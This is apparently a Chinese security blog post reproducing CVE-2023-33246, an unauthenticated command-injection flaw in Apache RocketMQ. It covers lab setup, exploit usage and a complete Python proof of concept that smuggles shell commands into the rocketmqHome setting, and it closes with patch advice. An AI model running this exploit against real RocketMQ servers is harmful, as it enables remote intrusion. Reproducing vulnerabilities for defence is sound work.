RocketMQ 最新漏洞手把手复现 CVE-2023-33246

文摘   科技   2023-06-09 14:01   广东  

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

前言


本文章只用于技术交流和学习,若使用本文章提供的技术信息进行非法操作,后果均由使用者本人负责


02

什么是Apache RocketMQ ?

Apache RocketMQ 是一种分布式消息传递框架,它由阿里巴巴集团开发。RocketMQ 的设计目标是提供一种高可用、高性能、可扩展、易于使用的的消息传递解决方案,适用于分布式应用程序、微服务架构、云计算、大数据等领域。
RocketMQ 提供了多种功能,包括消息传递、分布式集群、负载均衡、故障恢复、消息持久化等。它支持多种消息模式,包括广播模式、集群模式、点对点模式等,用户可以根据不同的场景和需求选择不同的模式。


RocketMQ的部署模型如下图所示:




Apache RocketMQ 部署架构上主要分为四部分:

Producer、Consumer、NameServer、 Broker


具体各个部分具体功能或作用可参考官网描述:

https://rocketmq.apache.org/zh/docs/4.x/



03

漏洞描述
RocketMQ 5.1.0 及以下版本存在任意代码注入漏洞。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺少权限验证。攻击者可以使用更新配置功能以RocketMQ运行的系统用户身份执行命令来利用该漏洞。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果


04

漏洞分析


漏洞成因:

1.提供无加密与鉴权的不安全服务;

2.对于用户输入的检查与过滤不足。


由exp源码可见,整个过程并不复杂,在生成 DefaultMQAdminExt 实例以及调用 updateBrokerConfig方法的关键过程中,都没有任何鉴权凭证的输入,属于未授权访问范畴。以至于在攻击过程中exp可以冒仿Console节点,访问NameServer节点获取注册 Broker数据,而不需任何鉴权,且数据明文传输。EXP仿冒NameServer向Broker发送配置修改数据,修改 rocketmqHome 函数同时在配置参数中拼接了操作系统命。



05

漏洞复现


环境搭建:

docker拉取镜像

docker pull apache/rocketmq:4.9.1docker pull apacherocketmq/rocketmq-console:2.0.0

# 启动 nameserver NameServer启动后监听端口,等待Broker、Producer、Consumer连接,相当于一个路由控制中心。

docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv

# 启动 Broker。与所有 NameServer 保持长连接,定时发送心跳包。心跳包中包含当前 Broker 信息以及存储所有 Topic 信息。注册成功后,NameServer 集群中就有 Topic跟Broker 的映射关系。

docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf

#启动console。

docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0


PS: 注意broker、console启动时会指定关联namesrv的地址


启动完成后如图所示:


访问http://ip:8080,为如下控制台界面



EXP:

https://github.com/SuperZero/CVE-2023-33246/blob/main/CVE-2023-33246.jar

使用方式:

java -jar CVE-2023-33246.jar -ip "被攻击host" -cmd "执行的命令"

通过使漏洞主机执行curl 命令访问自建http服务来验证命令是否执行成功。


成功访问,证明命令执行成功,漏洞存在。



还有由Malayke师傅使用python写的POC,大家可以尝试使用验证


# CVE-2023-33246 RocketMQ POC

import socketimport sys



if len(sys.argv) < 4: print('Usage: python3 poc.py <ip> <port> <command>') sys.exit(1)

def send_data(ip, port, payload): # Create a socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the server at the specified IP and port s.connect((ip, port))

# Send the payload s.sendall(payload) resp = s.recv(1024) print(resp) # Close the socket s.close()





if '__main__' == __name__: ip = sys.argv[1] port = int(sys.argv[2]) command = ' '.join(sys.argv[3:]).strip() hex_payload_prefix = '000000cd000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f20' hex_payload_suffix = '3b0a' payload = bytes.fromhex(hex_payload_prefix) + command.encode() + bytes.fromhex(hex_payload_suffix) hex_payload_length = hex(len(payload) - 4)[2:] payload = payload.hex().replace('000000cd000000','000000' + hex_payload_length + '000000') payload = bytes.fromhex(payload)

send_data(ip, port, payload)


06
修复建议

目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6


下载链接:

https://rocketmq.apache.org/download/


07

参考链接


1.https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT

2.https://github.com/SuperZero/CVE-2023-33246

3.https://blog.csdn.net/jdhellfire/article/details/131009358

4.https://rocketmq.apache.org/zh/docs/4.x/











A9 Team
A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践,期望和朋友们共同进步,守望相助,合作共赢。
 最新文章